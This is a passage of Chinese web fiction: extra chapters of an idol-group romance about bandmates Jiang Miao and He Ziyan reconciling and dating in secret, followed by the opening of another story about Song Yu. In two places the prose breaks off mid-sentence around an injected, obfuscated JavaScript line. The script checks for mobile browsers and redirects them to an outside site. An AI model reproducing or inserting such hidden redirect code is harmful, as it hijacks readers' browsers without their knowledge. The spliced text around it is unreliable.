就在江淼失败了一次之后,贺子炎像一个救星那样走了过来,笑着对导演解释,“他对水有心理障碍,我来,我以前是在海边长大的,可以水下睁眼,保证你这个镜头好看。” 他可以成熟地帮江淼解围,但绝不会再说保证让他学会的话了。 为了进度,导演更换了他们的镜头,果不其然,贺子炎一条就过了。 江淼看到贺子炎晒红的后颈,给他留下了一瓶防晒霜,然后离开了取景地,前往下一个拍摄点。 他们的专辑取得了不小的成功,或许是因为他们火了,又或许这一张和上一张差异很大,网络开始很认真地分析这张专辑里的作品,而不是像过去那样无人问津。 因为那一次的绯闻乌龙,贺子炎也收获了不少剧组伸出的橄榄枝,邀请他出演偶像剧。这是很好的曝光机会,所以江淼也鼓励了他。 本来贺子炎就应该慢慢回归正常的生活,得到更多他理应得到的。 卡莱多为宣传新专辑上了电台节目,也举办了小型的见面会,两个人都像过去一样,认真地营业,半真半假地开玩笑。 如江淼预想的希望的那样,他们的团体越来越好,团体里的每个人也越来越好,方觉夏演唱的ost成为七月的热门单曲,那部剧也很红,凌一和路远各自的综艺都有着不错的成绩,裴听颂人气一如过去,也解决了自己外公的身后事,而贺子炎在剧组也过得不错,时常有路透照发出,从他和剧组其他演员的微博来看,他们相处融洽,经常聚餐。 只是上升期难免伴随各种谣言和诽谤,江淼都快要接受这些和谣言和平共处,但他没有想到,在经历了各式各样的传闻后,他居然看到了有关贺子炎身世的造谣。 造谣的人特别开设小号,发布了一则文章,没有点名道姓,但句句描述都直指最近热度颇高的贺子炎,但里面关于身世的问题几乎全然编造,甚至将他的身世塑造成污点 ——他的母亲是贪污赃款的公务人员,在公安系统,所以他之前网友才扒不出他的身世,都是因为背后有人的关系。 而爆料当天,恰好是贺子炎杀青回北京庆祝的当晚。 因为这桩突然的危机,原本应该快乐的聚会也蒙上阴翳,为了破除谣言,贺子炎不得不对着所有人承认,自己其实是一个孤儿。 江淼现在才知道,原来贺子炎真的没有告诉其他任何一个人,原来真的就只有他知道。 他看着贺子炎自揭伤疤,第一次感到不知所措。 杀青的饭局没能好好结束,大家回到公司,方觉夏似乎敏锐地察觉到了什么,特地和江淼走在一起,询问他是不是早就知道了。 江淼笑笑,避重就轻地回答了他的问题,也讲述了还是练习生的时候,他和贺子炎相互陪伴的事。 事实上,对现在的他而言,和眼前的队友倾诉关于他们的过去都并不容易,但他假装很容易很轻松地说出来了。 方觉夏很善良也很温柔地告诉他,他们也是家人。 他当然知道,这就是他努力守护的一切啊。 为了澄清,江淼看着贺子炎拿出自己曾在福利院的证明,他陈旧到起了毛边的孤儿证上还印着他的照片,颜色灰暗,上面的小孩子很可爱,长着一双让人心疼的眼睛和倔强的脸。 江淼是第一次看到这张儿童福利证,之前他开玩笑地说想看贺子炎小时候的样子,但贺子炎说他小时候没有拍过照片,后又改口,说自己有一个证件上有,但是一时间找不到了。 原来他不是找不到,而是不想告诉他,那是他的孤儿证。 贺子炎并不是可以轻松谈起这些过去的人。 没想到最后真的看到,会是这样的情形,江淼感到喘不过气。 发生了这些,贺子炎整个人都没有表现出伤感的情绪,反而一直在开玩笑,配合公司的公关人员发布微博,控制舆论。 所有人都在安慰他,都在处理着舆论,只有江淼静静地坐在一旁,隔着许多忙碌的人望着贺子炎,好像透过他快乐的表象看透了他伤痕累累的心。 听到贺子炎和其他队友开玩笑的时候,江淼就算笑不出来,也不想让人发现,只能陪着他们说两句玩笑话。 他很想安慰贺子炎,非常想,但现在站在这里的所有人,似乎都比他更有资格去给他慰藉,因为就在不久前,他放弃了贺子炎。 尽管是出于一个看似高尚的理由,但本质上,他和那些前女友也没什么不同,抛弃就是抛弃,没有借口可言。 借着所有人都将贺子炎围住,安慰他、拥抱他的时候,江淼也安静地靠近,伸出手,像过去的很多次那样,在贺子炎的后背轻轻抚摩了几下,但说不出话。 因为还有其他必须完成的工作,他没办法没和队友们一起回去,等再回到宿舍已经很晚。江淼动作很轻地回到自己的房间,才发现路远没有睡,正在看编舞视频。 “淼哥回来啦。”路远眼睛盯着屏幕,没有抬头,“对了觉夏煮了糖水诶,给你留了一碗,我搁你床头柜了。” “嗯,谢啦。”江淼走过去,端起番薯糖水喝了两口,出神的时候,突然发现自己的抽屉好像被打开过了。 他属于有一点强迫症的人,每次都要完全将柜子关好。而这个柜子之前被路远和裴听颂打闹时撞坏了一点,每次都要推一下才能完全把抽屉合上,不然就会自己弹出来一些缝隙。 现在就是。 “远远,”他放下糖水,“刚刚谁来找你玩了吗?” 路远是个注意力只能放在一件事上的人,听见江淼的询问,没来得及反应,着急忙慌地把所有进来过的人都报了一遍,“啊?嗯……小裴来拿我给他洗球鞋的那个喷剂,觉夏进来给咱送糖水了,一一刚刚在我床上看动漫来着,还有……哦对,火哥来了的,但是那时候我在洗澡,我出来正好看到他要出去,他说他找东西。” 果然。 江淼拉开抽屉,仔细翻找了一遍,里面好像没有多什么。 但他忽然发现,自己一直藏在最里面的烟,没了。 没来由的,江淼的心抽痛了一下。他合上抽屉,静了一会儿,转身离开了房间。 “诶队长?去哪儿啊?” 路远转头去看,但没有得到江淼的回应。 就像是一种心照不宣的暗示,一条隐秘的线索,这个世界上没有除他们以外的人知道,尽管无法笃定,但江淼还是离开了宿舍,独自来到天台。 他的心跳得好快,每一次跳动都给这副躯体带来绵绵无尽的永震,将心底积攒着的、压抑着的情绪通通震出,震碎,蔓延出痛苦的余波。 推开门的瞬间,一切都崩解而出,像海水一样淹没了他。 凌晨两点,贺子炎真的就坐在天台的围栏前,低头抽着烟。 在听到声音的那一刻,他回了头,风把他的头发吹得凌乱,但遮不住他难过和迷茫的双眼。 看到了江淼,贺子炎像是确认一样,定定地盯了几秒,然后突然醒过来,背转过去,仿佛没办法面对。 他垂下头,很匆忙地摁灭了手里的烟,然后清了清嗓子,没回头对江淼解释说:“我想抽烟,但是我自己去买会拍到,就……管你借一包。” 江淼的声音在背后,很轻柔,让人没办法不难过。 “什么时候还给我呢。” 贺子炎不知道应该怎么回答,只说,“会还的。” 他其实有点怕听到江淼说“不用还了”,尽管江淼来了,出现在他身边,像梦一样。 但江淼没有这样说,他也挨着他坐了下来,肩膀并着肩膀。 他们之间的沉默令贺子炎心里泛起的一丝愉悦一点点消退, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727021|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就像破灭的泡沫一样。 还剩最后一个的时候,江淼开了口。 “对不起。” 贺子炎不想听江淼道歉,无论是选择分开,还是他的身世被曝光,都不是江淼的错,道歉的话他已经听过了一次,光是回忆起来就觉得痛苦。 “你不用和我道……” “子炎,你是不是也觉得,我是个胆小鬼。”江淼看向他。 这个问题令贺子炎愣了愣,他从没这样想过。 江淼没等他的回答,自顾自转过头,笑了笑,“我觉得是。我小时候就学不会游泳,其实可以学的,我爸妈也不会,我们约好了要一起去学,没想到没机会了。” 他的声音有些哽咽,所以停了停,忍耐情绪,继续说:“他们最后落到大海里了,消失不见了。” 听到这句,贺子炎的心跳仿佛停了一拍。 江淼的温柔是很残忍的,当他讲述最痛苦最残酷的事实时,也会点到为止。 “贺子炎。”江淼停顿了很久,最后依旧没能忍住,声音带着哭腔,“我真的很怕水,特别怕,我就是很胆小,很固执,我就是没办法做一个轻松快乐的人,我不喜欢失控,我讨厌听到你和你前女友在海边约会的过去,讨厌你说起她,我受不了……我就是受不了……” 江淼觉得自己的眼泪很不值钱,就像一种廉价的乞讨,一种博取同情的手段,可他根本不想。他不应该在这种时候哭,不应该失控。 他总是在贺子炎面前失控。 他用手背抹去眼泪,笑了笑,“你现在很好,事业蒸蒸日上,未来还要爬得更高,去更好的地方。我……我想过留住你的。” 江淼的声音一点点低下去,仿佛在自问自答,“我想过。” 他很想很想贺子炎也喜欢他,而不是把他当成是一个就近停靠的温柔乡,一个消解寂寞的对象。 可他真的不懂,他真的搞不懂贺子炎,从第一天开始就不明白。 “你说你喜欢女生,你有前女友,你喜欢长发喜欢温柔的人,你可以征婚,可以接受和剧组里的人传绯闻,我不懂,无论是哪一点,我都不符合。” 江淼很想问,从他第一次和他谈起前女友的时候就很想问,“你到底为什么想和我接吻,为什么愿意和我上床,为什么要去找我,要抱我?” 江淼问完,忍着泪看向他,“你分得清爱和感激吗?” 其实他不敢看,就像他不敢去问父母遗体的去向那样,他想知道答案,但怕知道答案。 他怕贺子炎的哪怕一秒钟的犹豫和沉默。 但贺子炎没犹豫,哪怕一秒钟。 “我分得清。”贺子炎望着他的眼睛里没有迷茫,“我很清楚我爱你。” 说着他笑了,像是自嘲,“我没有求过任何人不要离开我,我知道我可有可无,留不住谁,所以我不想说,也无所谓他们离不离开。” 贺子炎的无情隐藏在他热情泛滥的表皮之下,有过好感,没有交出过真心,那种感觉就像他和其他小孩儿站在一排,等待被领养人挑选,也不是没有期待过被领走,但如果没有,也不要紧,他也不是很需要。 除了江淼,他出现在自己眼前的那个瞬间,贺子炎就想像小狗一样伸出手,希望他可以带走自己。 他那天真的带走了他。 “除了你,”贺子炎声音变得很轻,很没底气,“我其实知道自己留不住,但也想试试求你一次,万一呢。” 万一他真的不走呢。 一句不要离开我,他从发现自己对江淼动心的那一刻起,就想对他说,但又怕吓到他,把他吓跑,所以犹豫了好久,直到江淼愿意把自己交给他的那天,他才敢说出口。 “一开始我真的觉得做队友就可以了,一起出道就很好了。”贺子炎又笑了一下,显得有些可怜,“但是你愿意抱我,还……还愿意亲我,你说和我在一起会很开心,我就觉得有一点可能,就不满足只要这些了。” 面对江淼,他第一次发自内心地渴望被亲密对待,而不是别人要求他做那些,他拒绝,最后不欢而散。 他渴望得到江淼很多个吻,也想占有他,让他只看得到自己。 但江淼的温柔是所有人都可以来获取的,没有门槛,取之不竭。 “但是你好心狠,还是走掉了。” 他这句带着很轻微的一点埋怨,像是怕被江淼察觉到,所以没敢认真抱怨。 陷入沉睡的城市依旧灯火通明,但很安静,偶尔的一些鸣笛让沉默显得更沉默。 “都已经这样了。”贺子炎下意识攥紧了自己的手,看向他,“江淼,我爱你,我不怕说出来。 ” 夏夜的风是暖的,轻柔地包裹两颗受伤的灵魂。 不知道是不是出于同情,江淼忽然侧过身子,给了他一个拥抱。不是过去那种很轻的、撩拨的相拥,是很紧密很紧密的拥抱。 贺子炎原本有些失措,可当他发觉江淼的肩在他怀中颤抖,便立刻紧紧地抱住了他,很呵护用手臂将他包围。 他的衬衣湿了一片,江淼的哭也是无声的,忍耐着的,很委屈也很倔。 贺子炎在他耳边不断地、很温柔地说“对不起,不哭了”,说“很爱你”,而不再是“很想你”。 江淼感觉自己怎么都停不下来,很受不了这样,于是狠了狠心,咬住贺子炎的肩。 贺子炎没有感觉到痛,只有心疼,被咬了也说我爱你,还很慷慨地吻他的发顶。 等他松了牙齿,贺子炎思索了几秒,才开口小心翼翼地询问,“你该不会是可怜我吧。” 江淼沉默了三秒,叹了口气。 “你真的是好笨啊。” 贺子炎拍着背的手顿了顿,听到江淼说下一句。 “你不是说我心狠吗?” 江淼的语气有些别扭。 “我这么心狠的人,只有喜欢你才可怜你。” 听到这句话,贺子炎反应了一下,然后突然抱紧了江淼,还压到了他,导致江淼假装不开心地搡了他一下。 “真的吗?” “别装傻了,说你笨还真的装起来了。”江淼咳嗽了几声,不知道是被挤得,还是他不高明的掩饰。 “以后别故意偷我烟,我才不会上来找你。” 贺子炎很开心地亲了亲江淼的脸,又抓住他的手,很认真地将自己的手指嵌入他的手指间,牢牢抓紧,像是怕他跑掉一样。 “你会的,我知道。” 14. 营业悖论水火番外(七) 在真实地听到江淼说喜欢之后,贺子炎才觉得,和他在一起那种虚幻到时刻都害怕破灭的梦终于才成为现实。 但江淼哭的时候,他好心痛,所以希望自己以后再也不要弄哭他。 为了彼此,他们决定隐秘地恋爱,不告诉任何人,先暂时享受这种只有彼此知晓的浪漫。有了江淼,贺子炎感到无比的幸福,好像无坚不摧,哪怕有再多的流言蜚语,他也不会因此而畏惧。 但这些事对卡莱多的影响还是不小,就连天不怕地不怕的裴听颂,也感慨万千,“这些事如果是发生在别人身上,可能早就在真人秀里声泪俱下地说过好几轮了。” 此一时彼一时,现在的贺子炎觉得自己是世界上最幸福的人,被造谣的阴翳一扫而空,毫无芥蒂地开着玩笑,“那不行,我的吐槽役沙雕总攻形象不可以崩。” 路远大笑,“这是什么好名声吗?” 裴听颂不服气,“前面我认可,但你不是总攻。” 方觉夏瞟了他一眼,平静发问,“这个总攻是按照幼稚程度排的吗?” 凌一笑的肚子疼,“哈哈哈哈哈你们攻组怎么回事?” “别说了,什么攻啊受的。”江淼叫停,“幸好没有摄像头拍,不然大家都知道你们私底下看同人文了。” 听到这句,贺子炎瞥了他一眼,眼神中带着点得意。 江淼压住嘴角的笑意,无声地用口型问他,“干嘛?” 贺子炎笑着摇头,侧过头去看窗外,假装无事发生。 “火哥笑得奇奇怪怪的。”凌一无情吐槽。 “你才奇奇怪怪。” 方觉夏转过头,瞥了一眼坐在后面的江淼,看到他脸上尚未散尽的笑意,有些开心。 看来是和好了。 结束完团体的广告拍摄,六人久违地一起回宿舍休息,期间凌一和裴听颂一直为“觉夏究竟跟谁更好”的话题拌嘴,还差点打起来。 路远老神在在地摇起了头,长叹出一口气,“唉,某个小矮子每天吃我的喝我的,非说我房间网好跑我床上看动漫,没衣服穿了就开我衣柜门,结果一说起来还是觉夏好觉夏好,真没良心呐。” “你说谁小矮子呢?”凌一气得撒了觉夏的手。 贺子炎笑了,“小矮子还挺会对号入座。” “你们!”凌一无语,只好找江淼撒娇,“淼哥,你看他们!” 江淼正要摸摸他的头,伸出来的手突然被贺子炎拽住。 所有人都看向贺子炎,贺子炎自己也才后知后觉地发现,这种下意识反应好像不太妙。 他急忙找出一个理由,“那什么,你是不是又瘦了,手腕细成这样。” 江淼差点笑出来。 第一个给出反应的竟然是一向话不多的方觉夏。 “我也觉得,队长拍完戏好像瘦了不少。” “淼淼你多吃点。” “吃很多啊,就是不长肉呢。” “这也太气人了,是吧小矮子。” “裴听颂你给我闭嘴!” 大家吵嚷个没完,贺子炎悄悄松开了手,也看到江淼细白的手腕留下被紧握的淡淡痕迹。 睡前,贺子炎打开手机,找出一张很早的时候偷偷拍下的照片,照片里江淼就坐在练习室的地板上,大笑着,笑得非常可爱,弯起的眼看向别处,他其实都快忘记当时是什么让江淼笑得这么开心了,但看到这张笑脸,他就不由自主地记录下来。 一扭头,他发现隔壁床的裴听颂竟然也拿着手机,黑暗中他脸上的笑看着有些吓人。 干什么呢这么开心。 他正想逗逗裴听颂,手机却忽然间震动了一下。 点开一看,是江淼发来的消息。 [睡了吗?你出来一下,到餐厅这边来。] 已经凌晨一点。 贺子炎回复了一句。 [还没睡,马上去。] 发完他就起了身,开门的时候裴听颂还奇怪。 “干嘛去啊火哥?” “我……喝水。” “上火啊?大半夜喝水。” 贺子炎突然间有点没话讲,但仔细一想好像裴听颂的话也没啥大问题,就默认了。 关好卧室门,他一路摸黑到餐桌前,发现江淼并不在,这里空荡荡没有一个人。 他摁了餐桌边上灯的开关,光线顷刻间点亮这小小餐厅。贺子炎惊喜地发现,餐桌上竟然放着一个大的黑色礼盒。 这是什么? 盒子上放着一张折叠的卡片,翻开来,他看到了江淼隽秀的字迹。 [听说你因为这个很伤心,那以后可以不难过了吗?] 贺子炎看得云里雾里,于是暂且收起卡片,打开了盒子。 里面竟然是最新的游戏主机,颜色还是限量版的红色。 贺子炎有些惊讶,他当初只是因为对着路远随便编了个拙劣的借口,没想到江淼竟然真的当真了。 房间里的江淼头一次感受到等待的难捱,照理说贺子炎刚刚就应该出去了,怎么还没有一点反应呢。 他第五次打开微信聊天页面,终于等到了聊天框顶端的[正在输入中……] 两秒后,贺子炎的消息传来。 [你怎么不出来啊?不是说在餐厅等我吗?我等你好久了。] 这个反应…… 江淼觉得奇怪。 [你没看到什么吗?] [看到什么?这里什么都没有啊。] 江淼终于忍耐不住,轻手轻脚从床上起来,怕吵醒睡得正香的路远。他心里疑惑,自己出去放礼物的时候大家都已经休息了,他确认过。 难不成谁拿走了? 推开门,江淼朝着黑暗的餐厅走去,奇怪贺子炎怎么也不开灯。可就在他即将走到餐桌边的时候,他的手突然被拽住,整个人被抵在餐桌边上。 是贺子炎的味道。 江淼的心跳得好快,下意识想推,但贺子炎两只手撑在餐桌上,将他圈在里面,无处可逃。 贺子炎的吻很温柔地降临,落在他的面颊上,然后如同摸索般一点点吻到嘴唇。 江淼有些晕了头,轻轻推搡着,小声说着“有摄像头……”的胡话。 “不要骗我……”贺子炎伸手捧住他的脸,亲吻他柔软的嘴唇,“他们昨天就把摄像头拆掉了,要换新的。”说完他继续亲吻江淼,还故意探入进去,逼迫着发出水声。 这太大胆了,简直在江淼的底线上挣扎着,他害怕就在下一秒,某一个队友突然出现,打开灯,看到这一切。 宁静的深夜,他们拥吻的声音格外明显,是藏不住的秘密。 “骗人的是你……”江淼很小声地开口,声音里开始带了些喘息,反复地用气声喊贺子炎的名字,明明是想让他放开自己,可这样的气氛之下,却变得像是在邀请。 贺子炎知道他怕被听到,他的手渐渐向下,覆在江淼胸口,感受他愈发快起来的心跳,微微松开些,低着头,额头贴上江淼的前额,亲昵地蹭了蹭他的鼻尖。 两个人温热的呼吸交融在一起,贺子炎吻了吻江淼的嘴唇,像只幸福的大狗狗一样抱住了他。 江淼也靠在他肩头,吻了吻贺子炎的侧颈。 “喜欢吗?”亲吻后的他,声音中带着一些甜蜜的鼻音和旖旎的气息,很柔软。 贺子炎把下巴抵在他的肩上,很小孩子地点了好几下头。 江淼笑了,伸手摸了摸他的耳廓,又捏捏耳垂,觉得十分可爱。 “谢谢你。”贺子炎凑到江淼耳边,很小声地说,“我爱你。” 江淼的声音带着温柔的笑意,揉了揉贺子炎蓬松的头发,“不客气,小骗子。” 理智上,江淼知道他们不应该久留,应该快快分开,然后各自回房间睡觉,可他在贺子炎的拥抱里感到快乐和温暖,很喜欢,所以不断地和自己的理智拉扯。 贺子炎根本不想放他走,但也不做更出格的行动,只抱着他,在他耳边一遍遍说“好喜欢你”,好像想把过去没能说的全部补上一样。 没多久,贺子炎又打开餐厅的灯,很认真地盯着江淼的脸,而后伸出自己的手,突然地覆在他脸上。 “干什么?”江淼小声问。 贺子炎又抱住他,像是发现了一件了不得的事一样,很开心,“你的脸好小哦,只有我的手掌那么大。” 江淼的脸有些热,“……是你的手太大了。” “你好可爱。”贺子炎莫名其妙的开心劲儿还是没消退,紧紧抱着他。 到底是谁可爱啊…… 江淼笑了,觉得贺子炎很傻。 忽然,他听到贺子炎叹气。 “怎么了?” “都怪路远。” “他又怎么你了?”江淼笑了。 “你就应该和我住的。”贺子炎突然间非常沮丧,“就应该我们住的。” 江淼笑着拨弄他的头发,懒懒道:“那不行,我们一起住太危险了,我这身体……” 说出口后,江淼有点后悔,于是没有继续说下去,这样的话可能会被贺子炎理解为撩拨,虽然并非本意。 可贺子炎只是缓慢地眨了下眼,仿佛在思考。 过了两秒,他低下头,很轻地亲了亲江淼的嘴唇。 “不会的。”他小声说,“我不会乱来,会好好对你的。” 贺子炎这副很珍惜他的样子,还有他呵护的亲吻,都让江淼幸福又难过。 好喜欢他。 他希望贺子炎永远都这么幸福,希望他一切都好,越来越好,希望他不要再有烦恼,不要再害怕被抛弃。 “我们进去吧。”贺子炎亲了亲他的额头,“你该睡觉了。” 江淼点了点头,但没有直接走,而是朝贺子炎伸出手,摊开掌心。 贺子炎不太明白他的意思,但下意识将手伸出来,放在他的手上。 江淼笑了,握住他的手上下摇了摇,最后抓起来,拉到唇边,吻了吻。 “晚安小狗。” “晚安小队长。” 贺子炎的新游戏机惹来了路远和凌一的强烈嫉妒,尤其是路远,本来赔游戏机这件事儿算是他撮合的,可怎么看怎么眼红,恨不得江淼能快点把他的旧游戏机旧手机旧电脑统统弄坏了,然后赔他个崭新的,限量版的。 只可惜弄坏他东西的永远只有小气的凌一。 贺子炎有点后悔,觉得自己应该在发专前把《游过这片海》的名字改掉,因为江淼不喜欢水,也不喜欢游泳。 但江淼听了却笑笑。 “没关系,我就站在海那头等你,你游过来就看到我了。” 或许是恋爱的缘故,江淼的状态也逐渐松弛下来,不再像过去那样时刻盯着每个成员的言行,开始真正地放松和享受工作,也逐渐显露出一点他不那么温柔的本色,偶尔帮队里另一对小情侣摁一摁柜门,或者干脆故意逗他们。 他和贺子炎的cp也依旧稳稳地占据卡团第二大势cp的地位,只是因为两人真的交往,所以在明面上低调了许多。 六个人虽然看着吵闹,但工作起来比谁都认真,也终于获得了第一次重要音乐奖项的提名,原本谁都没有真的当真,毕竟这些奖项的含金量是出了名的高,意义重大。 当台上颁发最佳团体奖的嘉宾真的叫出了他们团体的名字,六个人都有些震惊。 江淼也有些懵,什么都顾不上说,只在上台时一直提醒凌一千万不要哭,凌一也一直点头。 “我不哭我不哭,淼淼我不哭。” 可一上台,凌一嘴一瘪,眼泪就掉了出来,完全忍不住,江淼要代表团体说话,他只能往方觉夏背后躲。 除了凌一的大哭,奖项,鲜花,掌声和肯定,一切都没有实感。 最美好的,就是贺子炎此时此刻站在他身边。 大家都站在他的身边。 他好像做了一个太好太完满的美梦,几乎可以抵消过去所有的创伤与挫折,抵消那些难捱的日与夜。 在出道纪念日的时候捧回两座奖杯,卡团六个人都很开心,他们决定开直播吃吃喝喝,和粉丝聊聊天。 前面也都是他们团例行的群口相声环节,江淼跟着笑,也逐渐松懈下来,看着弹幕。 [纯路人,新来的,水火和听觉都是真情侣吗?] [不不不,他们只是没什么感情的同事而已()] 看到这一条,他笑了出来,还拍了拍贺子炎的手臂,“同事,帮我拿一下可乐。” 听到这个称呼,贺子炎有些奇怪,他没去拿最右边没人喝过的新的可乐,而是下意识把自己面前喝过的可乐拿起来,递给他,在江淼打算伸手去接的时候,又往后收了收手。 “谁是同事?” 江淼瞥了他一眼,抓过他的手腕,就着喝了一口可乐,嘴角抿着笑意,用那种带着气声的、很轻柔的语气对他小声说,“还有谁啊。” 其他四人都各自闹着各自的,没人发现,这一幕只被屏幕那头的粉丝捕捉到。 [啊啊啊火问那句话的时候好苏] [水真的好娇好娇,火命中注定的老婆] [我和我同事反正不会这么说话] 江淼看了看时间,只剩下半小时,于是便催促粉丝快提问提要求,其中一个粉丝说想看成员间的备注,还自己分好了组。 “ok吗?”江淼看向其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16727022|189503||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他人,没人反对,只是方觉夏有点犹豫。 江淼心里好奇,他该不会给裴听颂弄了特别腻味的备注吧。 再一想,这也不是方觉夏的风格,于是就当所有人默认,开始了自爆备注的游戏。 他作为队长,身先士卒,第一个打开和贺子炎的聊天框,发现他们不久前的聊天里还有不太能拿出来给粉丝看的内容,尤其是贺子炎,发了一大堆“喜欢你”,光是打开对话框就让江淼不好意思起来。 “这样的。”他只好把内容捂得严严实实,备注对准镜头,“我给子炎的备注是其实就是一个小火苗表情啦,是不是很可爱。” [哈哈哈我竟然能猜到] [不知道为什么队长总是用可爱来形容1米86的大高个贺子炎,这得是巨型可爱了吧。] [小火苗好萌,火哥不会给队长备注的是小水滴吧,感觉像是] 贺子炎犹豫要不要给看的时候,路远拿胳膊拐了拐他,“哎,要到你了。” 他只好打开对话框,也把内容捂住,“我给淼哥的备注是……”但看到那个备注的同时,又觉得自己完蛋了,很心虚地笑了一下,“哎我觉得有点容易被误会诶。” [这个笑也好苏,究竟是什么会一看到就这样笑啊。] [首先排除“老婆”()] [不会真的是同事吧哈哈哈哈] 江淼有了某种不妙的预感,但现在已经骑虎难下,要是真的不给,只会引起更大的怀疑。 正想着,凌一凑过来提前看了答案。 “什么啊?”他大笑起来,“你为什么要备注一个团妻啊!你这个变态!” 路远吃了一口薯条,帮忙附加解释,“妻子的妻,老婆的妻。” [团妻??] [草贺子炎我有点害怕] [水火不是真的我就是假的!!] “不是。”贺子炎既心虚又有点不好意思,开始了自己的胡编乱造和疯狂找补,说是因为前段时间他拍戏,江淼也拍戏,所以江淼一直提醒他防晒,关照他,他才会这样备注。 这本来就很奇怪,这样一番解释就愈发奇怪起来。 江淼的手扶住额头,只想让他别说了。 [不对吧,你拍戏的时候水已经杀青了啊,时间线都不对] [我怎么感觉贺子炎就是在瞎说啊] [你是rapper啊大哥,你怎么能结巴呢?] [完了,越解释越真怎么回事] [懂了,团妻=卡团的队长是我的妻子] 贺子炎说不清楚了,就干脆放弃。好在凌一这个没有眼力见的,立刻接着他自告奋勇举手,想快一点让大家看到他给路远的备注。 江淼后半程的直播都没再搭理过贺子炎,连听觉两个人的柜门都不按了,开启自闭模式。 贺子炎自觉闯了祸,拿手机给江淼发了好多消息,都没有得到他的回应。 最后他没辙,手悄悄从后面伸到江淼那里,在桌子下面找到江淼的手,紧紧攥住。 江淼挣脱不开,抬头,用另一只手拿起杯子,假装若无其事地喝可乐。 到后来结束直播,比团队手势的时候,两个人都没有伸出相握的手。 关掉摄像头的瞬间,听见队友们说着“下班了”的话,两人才松开,江淼将自己的手握紧,伸进上衣口袋里。 裴听颂跑去了方觉夏的房间,凌一又在他和路远的房间里打游戏,江淼转转悠悠地,还是跟着贺子炎去了他的房间。 贺子炎关上了门,正要锁,被江淼阻止。 “你越藏着越明显,笨。” 贺子炎只好放着门不管,但这样就意味着他不能亲太多下,说不准什么时候裴听颂就回来了。 “你给我把备注换了。” “换,我换还不行吗。” “换正经一点的。” 贺子炎叹口气,“正经的,我知道,我换成卡莱多队长江淼总行了吧。” 江淼笑了,很随意地坐到他的桌椅前,看到他桌上散落的书和剧本,看不过眼,于是开始帮他收拾,到后来越收拾越起劲,“你这些小东西收到抽屉里,不然容易丢掉的。” 一拉开抽屉,里面更乱。 江淼叹了口气,打算来个大扫除,于是把他抽屉里堆着的全拿出来。 拿着拿着,他忽然发现,有一些很眼熟的东西。 “贺子炎,这些……” 贺子炎本来坐在床边,弯着腰,把头埋在江淼的腿上发呆,听到他叫自己才抬起头。 他看清楚江淼手里的纸条,就下意识伸手把那拽走。 “你拿走干嘛?”江淼低头检查抽屉,“这还有呢。” 这简直就是公开处刑。 江淼把贺子炎写过的纸条一张找出来,再一张张摆在桌子上,码得整整齐齐。 每一张都写着[如果心情不佳,请拿贺子炎寻开心。] 足足九张。 “原来你写了这么多啊。”江淼勾起的嘴角难掩笑意。 贺子炎含混地嗯了一声,“可以收起来了吗?一会儿小裴进来了。” 看他这幅蔫了吧唧的样子,江淼忍不住笑了出来,两只手攀上贺子炎的脖颈,轻声说:“怕什么。” “我又不怕……”贺子炎拿自己的额头磕了一下江淼的。 “我……就是想选个写得好看点儿的。” 他当时写了很多张,都不太满意,总感觉有个别字不够好看,于是一口气写了十张,从里面选出一张看得过眼的。 江淼笑了,亲了亲贺子炎的下巴。 “好看。” 贺子炎瘪了瘪嘴,“你嘲笑我的时候最开心。” “对啊。”江淼又亲了他一下,“那怎么办?是某些人自己写的,说让我拿他寻开心的,还写了十次。” “你别提了……” 江淼抓住他想捂住他嘴的手,亲了一下。 “好,你让我一辈子寻开心,我就不提了。” 贺子炎听到一辈子,愣了愣。 “不行啊?”江淼眉眼弯弯,像水中晕开新月的倒影。 “行。”贺子炎吻了吻他。 水中的波影飘荡了很久,忽远忽近过,也曾经消失不见过,但最终还是停泊在他的眼前,触手可及。 “多久都行。” 没有特别沟通,两人都在那一晚悄悄更改了对方的备注,却没有告诉彼此。 一个是[游泳的小狗] 另一个是[在岸边等我的小孩] 孤独的小孩等了18年,17岁的小狗终于游过了这片海。 来到他身边。 ——END—— 15. 宋煜的一个噩梦 在乐知时顺利考上大学之后,宋煜和他的感情很好地维持在了兄弟的层面。 宋煜知道自己正在一步步走向毁灭,但他根本控制不了。很偶然的一天,他的信被父母发现。 其实也不算太偶然,乐知时的病就是最好的预兆。 起初只是被迫疏远,在确定无法回到过去之后,他给自己的父母写了一封信,信件里没有忏悔的字眼,但几乎全是忏悔。 原本的保研他没有去,但何教授不忍看到一个科研能力出众的苗子就此泯然,于是推荐他去了西南的一个研究所,他知道那里条件艰苦,但是做的是灾前预防和灾后重建的测绘研究,宋煜想做的事。 宋煜当然去了。 离开了那个总是炎热的城市,离开了那蒸发江水后带来的密不透风的潮湿,宋煜几乎不和家人联系,更是和乐知时失联。 一开始受不了的人是他,他花了二十几年学习做一个哥哥,现在却要重新学习如何成为陌生人。 但他很擅长扮演冷酷。 等待他的是很多很多的任务,流返于山区与山区,他成了真正的地球行者。 他也在很多很多灾区,见到了很多很像乐知时境遇的孩子,他曾经目睹过一个藏民母亲在公路上跪地祈祷,说希望自己的孩子平凡地长大。 平凡的意义在于和大多数人一样,宋煜不由得想到了很久以前,他对乐知时说的,关于拟态的引导,现在他才有些后悔,或许自己不应该抱着私心,要求他和别人活得不一样,要求他特别,在心里要求他爱自己。 平凡平安就很好了。 